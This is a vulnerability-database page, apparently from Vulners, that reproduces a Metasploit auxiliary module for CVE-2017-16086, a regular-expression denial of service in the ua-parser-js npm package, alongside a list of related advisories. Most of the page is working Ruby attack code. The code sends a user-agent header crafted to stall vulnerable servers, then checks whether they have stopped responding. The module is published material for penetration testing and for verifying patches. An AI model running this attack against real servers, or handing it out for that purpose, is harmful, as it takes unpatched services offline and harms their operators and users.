Lucene search
K

ua-parser-js npm module ReDoS

🗓️ 07 Dec 2017 16:25:29Reported by Ryan Knell, Sonatype Security Research, Nick Starke, Sonatype Security ResearchType 
metasploit
 metasploit
🔗 www.rapid7.com👁 236 Views

This module exploits a Regular Expression Denial of Service vulnerability in the npm module "ua-parser-js". Server-side applications that use "ua-parser-js" for parsing the browser user-agent string will be vulnerable if they call the "getOS" or "getResult" functions. This vulnerability was fixed as of version 0.7.16

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-16086
29 May 201815:50
circl
CVE
CVE-2017-16086
7 Jun 201802:00
cve
Cvelist
CVE-2017-16086
7 Jun 201802:00
cvelist
IBM Security Bulletins
Security Bulletin: IBM Cloud Transformation Advisor is affected by Node.js vulnerability
31 Mar 202114:46
ibm
Github Security Blog
ReDoS via long UserAgent header in ua-parser
24 Jul 201819:46
github
Node.js
ReDoS via long UserAgent header
6 Mar 201722:27
nodejs
NVD
CVE-2017-16086
7 Jun 201802:29
nvd
OSV
CVE-2017-16086
7 Jun 201802:29
osv
OSV
GHSA-PMG9-P9R2-6Q87 ReDoS via long UserAgent header in ua-parser
24 Jul 201819:46
osv
Packet Storm
ua-parser-js npm module ReDenial of Service
31 Aug 202400:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos

  def initialize
    super(
      'Name'        => 'ua-parser-js npm module ReDoS',
      'Description' => %q{
        This module exploits a Regular Expression Denial of Service vulnerability
        in the npm module "ua-parser-js". Server-side applications that use
        "ua-parser-js" for parsing the browser user-agent string will be vulnerable
        if they call the "getOS" or "getResult" functions. This vulnerability was
        fixed as of version 0.7.16.
      },
      'References'  =>
        [
          ['CVE', '2017-16086'],
          ['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],
          ['CWE', '400'],
        ],
      'Author'      =>
        [
          'Ryan Knell,  Sonatype Security Research',
          'Nick Starke, Sonatype Security Research',
        ],
      'License'     =>  MSF_LICENSE
    )

    register_options([
      Opt::RPORT(80)
    ])
  end

  def run
    unless test_service
      fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
    else
      trigger_redos
      test_service_unresponsive
    end
  end

  def trigger_redos
    begin
      print_status("Sending ReDoS request to #{peer}.")

      res = send_request_cgi({
        'uri' => '/',
        'method' => 'GET',
        'headers' => {
          'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
        }
      })

      if res.nil?
        print_status("No response received from #{peer}, service is most likely unresponsive.")
      else
        fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
      end

    rescue ::Rex::ConnectionRefused
      print_error("Unable to connect to #{peer}.")
    rescue ::Timeout::Error
      print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
    end
  end

  def test_service_unresponsive
    begin
      print_status('Testing for service unresponsiveness.')

      res = send_request_cgi({
        'uri' => '/' + Rex::Text.rand_text_alpha(8),
        'method' => 'GET'
      })

      if res.nil?
        print_good('Service not responding.')
      else
        print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
      end
    rescue ::Rex::ConnectionRefused
      print_error('An unknown error occurred.')
    rescue ::Timeout::Error
      print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
    end
  end

  def test_service
    begin
      print_status('Testing Service to make sure it is working.')

      res = send_request_cgi({
        'uri' => '/' + Rex::Text.rand_text_alpha(8),
        'method' => 'GET'
      })

      if !res.nil? && (res.code == 200 || res.code == 404)
        print_status('Test request successful, attempting to send payload')
        return true
      else
        return false
      end
    rescue ::Rex::ConnectionRefused
      print_error("Unable to connect to #{peer}.")
      return false
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation